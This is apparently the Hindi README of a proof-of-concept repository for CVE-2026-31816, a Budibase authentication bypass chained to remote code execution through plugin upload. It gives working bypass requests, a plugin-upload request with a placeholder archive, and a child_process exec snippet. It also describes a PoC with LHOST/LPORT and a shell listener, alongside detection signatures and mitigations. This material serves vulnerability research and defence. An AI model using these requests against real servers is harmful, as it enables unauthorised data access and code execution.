CVE-2026-31816 - Budibase प्रमाणीकरण बायपास से RCE

CVE-2026-31816 Budibase को प्रभावित करने वाली एक गंभीर प्रमाणीकरण और प्राधिकरण बायपास भेद्यता है।

यह भेद्यता सर्वर-साइड प्राधिकरण मिडलवेयर में मौजूद है जो API एंडपॉइंट्स की सुरक्षा के लिए जिम्मेदार है। Budibase वैध वेबहुक एंडपॉइंट्स की पहचान करने के लिए एक अनएंकर्ड रेगुलर एक्सप्रेशन का उपयोग करने का प्रयास करता है और उस एक्सप्रेशन का मूल्यांकन Koa के ctx.request.url के विरुद्ध करता है।

चूँकि ctx.request.url में क्वेरी स्ट्रिंग होती है, एक हमलावर किसी अन्यथा असंबंधित API अनुरोध के क्वेरी घटक में वेबहुक जैसा दिखने वाला पथ इंजेक्ट कर सकता है।

उदाहरण के लिए:

/api/integrations?/webhooks/trigger

यह अनुरोध वास्तव में वेबहुक एंडपॉइंट को लक्षित नहीं करता है। हालाँकि, यह भेद्य जाँच /webhooks/trigger को इस बात के प्रमाण के रूप में व्याख्या कर सकती है कि अनुरोध एक वैध वेबहुक अनुरोध है और सामान्य प्रमाणीकरण और प्राधिकरण जाँचों के बिना निष्पादन जारी रखने की अनुमति दे सकती है।

NVD इस समस्या का वर्णन इस प्रकार करता है कि यह एक पूरी तरह से अनप्रमाणित दूरस्थ हमलावर को URL में वेबहुक पथ पैटर्न जोड़कर सर्वर-साइड API एंडपॉइंट्स तक पहुँचने की अनुमति देता है।

भेद्यता सूचना

NVD Budibase के 3.31.4 तक के संस्करणों को प्रभावित के रूप में दर्ज करता है और CVSS 3.1 स्कोर 9.1 निर्धारित करता है।

मूल कारण

भेद्य तर्क सामान्य प्राधिकरण से पहले किए जाने वाले वेबहुक पहचान के इर्द-गिर्द केंद्रित है।

सुरक्षा सलाह में अवधारणात्मक रूप से समकक्ष कोड प्रलेखित है:

const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

समस्या दो व्यवहारों का संयोजन है:

1. रेगुलर एक्सप्रेशन एंकरित नहीं है।
2. ctx.request.url में क्वेरी स्ट्रिंग होती है।

इसका मतलब है कि एक्सप्रेशन को वास्तविक अनुरोध पथ से मेल खाने की आवश्यकता नहीं है।

ऐसा अनुरोध, जैसे:

/api/some/protected/endpoint?/webhooks/trigger

फिर भी इसमें स्ट्रिंग मौजूद होती है:

/webhooks/trigger

जाँचे जा रहे URL के अंदर।

प्राधिकरण मिडलवेयर तत्पश्चात अनुरोध को वेबहुक अनुरोध मानता है और सामान्य प्राधिकरण प्रवाह निष्पादित किए बिना एंडपॉइंट तक पहुँच जाता है।

Budibase सुरक्षा सलाह स्पष्ट रूप से इसे अंतर्निहित दोष के रूप में पहचानती है और नोट करती है कि यह बायपास प्रमाणीकरण, प्राधिकरण, भूमिका जाँच और CSRF सुरक्षा को छोड़ देता है।

प्रमाणीकरण बायपास

किसी संरक्षित API एंडपॉइंट के लिए एक सामान्य अनुरोध प्रमाणीकरण परत से गुजरने की अपेक्षा की जाती है।

उदाहरण के लिए:

GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

इसके स्थान पर एक भेद्य इंस्टेंस तक वेबहुक क्वेरी-स्ट्रिंग पैटर्न के साथ पहुँचा जा सकता है:

GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

महत्वपूर्ण भाग है:

?/webhooks/trigger

एंडपॉइंट स्वयं नहीं बदला है:

/api/integrations

केवल क्वेरी स्ट्रिंग को संशोधित किया गया है।

सार्वजनिक Budibase सलाह /api/integrations और कई अन्य सर्वर-साइड एंडपॉइंट्स के विरुद्ध इसी सटीक तकनीक का प्रदर्शन करती है।

न्यूनतम सत्यापन

नियंत्रित प्रयोगशाला में प्रमाणीकरण बायपास को सत्यापित करने का एक सुरक्षित तरीका एक सामान्य अनुरोध की तुलना वेबहुक-क्वेरी वैरिएंट से करना है।

बेसलाइन

GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

बायपास

GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

भेद्य सर्वर दूसरे अनुरोध को उन प्रमाणीकरण जाँचों के बिना संसाधित कर सकता है जो सामान्यतः एंडपॉइंट की सुरक्षा करती हैं।

एक प्रकाशित PoC भी इसी प्रकार उपयोग करता है:

/api/integrations?/webhooks/trigger

एक सरल भेद्यता जाँच के रूप में।

रॉ HTTP अनुरोध — API पहुँच

निम्नलिखित एक प्रमाणित API अनुरोध की संरचना को दर्शाता है जिसे वेबहुक पैटर्न जोड़कर एक अनप्रमाणित अनुरोध में बदल दिया जाता है।

POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

आधिकारिक Budibase सलाह इस एंडपॉइंट को प्रभावित API सतहों में से एक के रूप में प्रलेखित करती है।

उसी दोष के माध्यम से पहुँच योग्य के रूप में प्रलेखित अन्य सर्वर-साइड एंडपॉइंट्स में शामिल हैं:

/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

मुख्य अवलोकन यह है कि यह भेद्यता किसी एक विशेष एप्लिकेशन संसाधन से जुड़ी नहीं है। प्रभावित प्राधिकरण मिडलवेयर सर्वर-साइड APIs के एक व्यापक समूह के सामने स्थित है।

शोषण श्रृंखला

जब इसे हमलावर-नियंत्रित कार्यक्षमता स्वीकार करने में सक्षम किसी संवेदनशील API के साथ जोड़ा जाता है, तो प्रमाणीकरण बायपास काफी अधिक गंभीर हो सकता है।

इस रिपॉजिटरी में मौजूद PoC भेद्यता को निम्नानुसार श्रृंखलाबद्ध करता है:

                    ┌─────────────────────────┐
                    │     Remote attacker     │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase authorization  │
                    │       middleware        │
                    └────────────┬────────────┘
                                 │
                                 │ authentication bypass
                                 ▼
                    ┌─────────────────────────┐
                    │ Protected server-side   │
                    │       API endpoints     │
                    └────────────┬────────────┘
                                 │
                                 │ plugin upload
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ crafted plugin
                                 ▼
                    ┌─────────────────────────┐
                    │  Plugin JavaScript code │
                    │      execution          │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          Code execution

रिपॉजिटरी PoC दूसरे चरण का अपलोड करने का प्रयास करने से पहले भेद्यता जाँच करता है, और प्रारंभिक जाँच विफल होने पर रुक जाता है।

रॉ HTTP अनुरोध — प्लगइन अपलोड

एक बार प्राधिकरण बायपास हो जाने पर, प्लगइन-अपलोड अनुरोध सामान्य मल्टीपार्ट अपलोड प्रारूप का पालन करता है, जिसमें भेद्य वेबहुक क्वेरी URL में जोड़ दी जाती है।

एक स्वच्छ (सैनिटाइज़्ड) प्रस्तुतीकरण है:

POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--

रिपॉजिटरी PoC इस मल्टीपार्ट अनुरोध को .tar.gz प्लगइन आर्काइव के साथ बनाता है और इसे /api/plugin/upload?/webhooks/trigger पर भेजता है।

सुरक्षा के लिए, उपरोक्त अनुरोध में जानबूझकर निष्पादन योग्य आर्काइव को एक प्लेसहोल्डर के रूप में छोड़ा गया है, न कि दस्तावेज़ में सीधे एक रिवर्स-शेल पेलोड एम्बेड किया गया है।

प्लगइन निर्माण

PoC एक प्लगइन आर्काइव उत्पन्न करता है जिसमें शामिल हैं:

package.json
schema.json
datasource-helper.js

आर्काइव को gzip-संपीड़ित टारबॉल के रूप में बनाया जाता है।

JavaScript घटक को इस प्रकार निर्मित किया जाता है कि Node.js child_process को लोड करता है और एक आपूर्ति किए गए कमांड को निष्पादित करता है:

var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);

रिपॉजिटरी कार्यान्वयन कई पेलोड प्रकारों का समर्थन करता है और संबंधित कमांड को गतिशील रूप से उत्पन्न करता है।

यह श्रृंखला का दूसरा चरण है:

Authentication bypass
        ↓
Unauthenticated API access
        ↓
Plugin upload
        ↓
Attacker-controlled JavaScript
        ↓
Node.js command execution

बग क्यों होता है

यह भेद्यता मूल रूप से URL पार्सिंग और विश्वास-सीमा (ट्रस्ट-बाउंड्री) की गलती है।

एप्लिकेशन को कुछ वेबहुक रूट्स के सार्वजनिक रूप से सुलभ होने की आवश्यकता होती है। वास्तविक अनुरोध पथ किसी अनुमत वेबहुक रूट से संबंधित है या नहीं, यह निर्धारित करने के बजाय, भेद्य कार्यान्वयन मेल खाने वाले सबस्ट्रिंग के लिए पूरे URL की खोज करता है।

अवधारणात्मक रूप से:

Expected:

request.path
    │
    └── must actually equal a webhook endpoint


Actual vulnerable behavior:

request.url
    │
    ├── path
    └── query string
            │
            └── attacker-controlled text
                     │
                     └── /webhooks/trigger

चूँकि क्वेरी स्ट्रिंग हमलावर-नियंत्रित होती है, एक हमलावर वेबहुक डिटेक्टर द्वारा अपेक्षित स्ट्रिंग को URL में कहीं भी रख सकता है।

इससे एक सुरक्षा-संवेदनशील बूलियन जाँच गलत परिणाम लौटाती है:

isWebhookEndpoint(ctx)
        │
        ├── false → normal authorization
        │
        └── true  → return next()
                       │
                       ├── authentication skipped
                       ├── authorization skipped
                       ├── role checks skipped
                       └── CSRF checks skipped

Budibase सलाह स्पष्ट रूप से शीघ्र return next() व्यवहार और परिणामी सुरक्षा-जाँच बायपास का वर्णन करती है।

प्रभाव

यह भेद्यता एक साधारण लॉगिन बायपास से काफी व्यापक है।

विक्रेता सलाह के अनुसार, शोषण सर्वर-साइड APIs तक अनप्रमाणित पहुँच प्रदान कर सकता है, जो प्रभावित करता है:

• एप्लिकेशन डेटा
• टेबल्स
• पंक्तियाँ
• ऑटोमेशन
• डेटासोर्स
• क्वेरीज़
• व्यूज़
• प्लगइन्स
• भूमिकाएँ और अन्य प्रशासनिक संसाधन

सलाह यह भी पुष्टि करती है कि यह बायपास CSRF सुरक्षा को समाप्त कर देता है और न तो उपयोगकर्ता सहभागिता की आवश्यकता होती है और न ही मौजूदा क्रेडेंशियल्स की।

जब हमलावर-नियंत्रित कार्यक्षमता को संसाधित करने में सक्षम कोई भेद्य API बायपास के माध्यम से पहुँच योग्य होता है, तो यह भेद्यता मनमाने कोड निष्पादन (arbitrary code execution) में श्रृंखलाबद्ध हो सकती है।

इस रिपॉजिटरी में शामिल PoC उस हमले पथ का प्रदर्शन करता है, जिसमें एक प्लगइन आर्काइव बनाया जाता है, उसे अपलोड किया जाता है और निष्पादन की प्रतीक्षा की जाती है।

पहचान

एक बुनियादी पहचान रणनीति एक सामान्य अनुरोध और उसी अनुरोध के वेबहुक-शैली क्वेरी प्रत्यय के साथ प्रमाणीकरण व्यवहार की तुलना करना है।

उदाहरण:

curl -i http://127.0.0.1:10000/api/integrations

बनाम:

curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'

एक भेद्य इंस्टॉलेशन दूसरे अनुरोध के माध्यम से एक संरक्षित एंडपॉइंट को उजागर कर सकता है।

यह तकनीक CVE-2026-31816 के लिए सार्वजनिक रूप से उपलब्ध पहचान सामग्री द्वारा भी उपयोग की जाती है।

प्रभावित संस्करण

NVD प्रविष्टि पहचान करती है:

Budibase <= 3.31.4

को प्रभावित के रूप में।

यहाँ एक महत्वपूर्ण दस्तावेज़ी विसंगति ध्यान देने योग्य है: लाइव GitHub सुरक्षा सलाह वर्तमान में "पैच किए गए संस्करण: कोई नहीं" प्रदर्शित करती है, जबकि स्वतंत्र भेद्यता संदर्भ 3.31.5 और बाद के संस्करणों को सुधार सीमा के रूप में पहचानते हैं।

इस कारण से, इस रिपॉजिटरी को 3.31.5 को एक निर्विवाद विक्रेता-पुष्टि पैच के रूप में प्रस्तुत नहीं करना चाहिए, जब तक कि संबंधित Budibase रिलीज़/परिवर्तन स्वतंत्र रूप से सत्यापित न हो।

निवारण

प्राथमिक उपचार Budibase को उस संस्करण में अपग्रेड करना है जिसमें अपस्ट्रीम फिक्स शामिल हो।

जब तक पैचिंग संभव न हो, रक्षात्मक नियंत्रणों में शामिल हो सकते हैं:

1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
      /webhooks/trigger
      /webhooks/schema
      /webhooks/discord
      /webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.

यह भेद्यता इंटरनेट-एक्सपोज़्ड सेल्फ-होस्टेड तैनातियों के लिए विशेष रूप से चिंताजनक है क्योंकि हमले के लिए किसी प्रमाणित सत्र की आवश्यकता नहीं होती है।

पहचान हस्ताक्षर

एक उपयोगी लॉग-स्तरीय संकेतक वह API अनुरोध है जिसमें क्वेरी स्ट्रिंग में वेबहुक रूट पैटर्न मौजूद हो:

/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams

उदाहरण के लिए:

GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger

इन पैटर्नों की जाँच की जानी चाहिए, न कि स्वतः शोषण के प्रमाण के रूप में माना जाना चाहिए, क्योंकि वैध ट्रैफ़िक और एप्लिकेशन-विशिष्ट व्यवहार पर भी विचार किया जाना चाहिए।

PoC आर्किटेक्चर

इस रिपॉजिटरी में शोषण कार्यान्वयन कई तार्किक घटकों में विभाजित है:

ExploitConfig
     │
     ├── target
     ├── LHOST
     ├── LPORT
     └── payload type
            │
            ▼
      BudibaseClient
            │
            ├── vulnerability check
            └── plugin upload
                    │
                    ▼
             PluginBuilder
                    │
                    └── .tar.gz
                            │
                            ▼
                      PayloadBuilder
                            │
                            └── JavaScript
                                    │
                                    ▼
                              command execution

कार्यान्वयन में सफल शोषण के बाद शेल कनेक्शन प्राप्त करने के लिए एक वैकल्पिक लिसनर भी शामिल है।

उदाहरण सत्यापन प्रवाह

नियंत्रित प्रयोगशाला के लिए:

1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.

रिपॉजिटरी PoC दूसरे चरण का अपलोड करने का प्रयास करने से पहले भेद्यता जाँच करता है, और प्रारंभिक जाँच विफल होने पर रुक जाता है।

सुरक्षा अनुसंधान नोट्स

यह भेद्यता इस बात का एक अच्छा उदाहरण है कि सुरक्षा-संवेदनशील URL मिलान को हमलावर-नियंत्रित पूर्ण URL स्ट्रिंग के बजाय एक उचित रूप से पार्स किए गए और सामान्यीकृत अनुरोध पथ के विरुद्ध क्यों किया जाना चाहिए।

बग सूक्ष्म है क्योंकि वेबहुक कार्यक्षमता स्वयं वैध है। समस्या मिडलवेयर द्वारा लिया गया विश्वास निर्णय है:

"Does this request target a webhook?"

का प्रभावी रूप से उत्तर इस प्रकार दिया जाता है:

"Does the entire URL contain a webhook-looking substring?"

ये समतुल्य सुरक्षा गुण नहीं हैं।

इसलिए एक हमलावर को अपने अनुरोध को वास्तव में वेबहुक अनुरोध बनाने की आवश्यकता नहीं होती है। उन्हें केवल प्राधिकरण मिडलवेयर को विश्वास दिलाना होता है कि यह एक वेबहुक अनुरोध है।

संदर्भ

• NVD: CVE-2026-31816
• Budibase सुरक्षा सलाह: GHSA-gw94-hprh-4wj8
• CVE रिकॉर्ड / सार्वजनिक भेद्यता डेटाबेस
• Budibase रिलीज़ इतिहास
• CVE-2026-31816 के लिए सार्वजनिक पहचान और अनुसंधान सामग्री

अस्वीकरण

यह रिपॉजिटरी सुरक्षा अनुसंधान, भेद्यता सत्यापन और अधिकृत परीक्षण के लिए है। उन सिस्टमों के विरुद्ध शोषण का उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।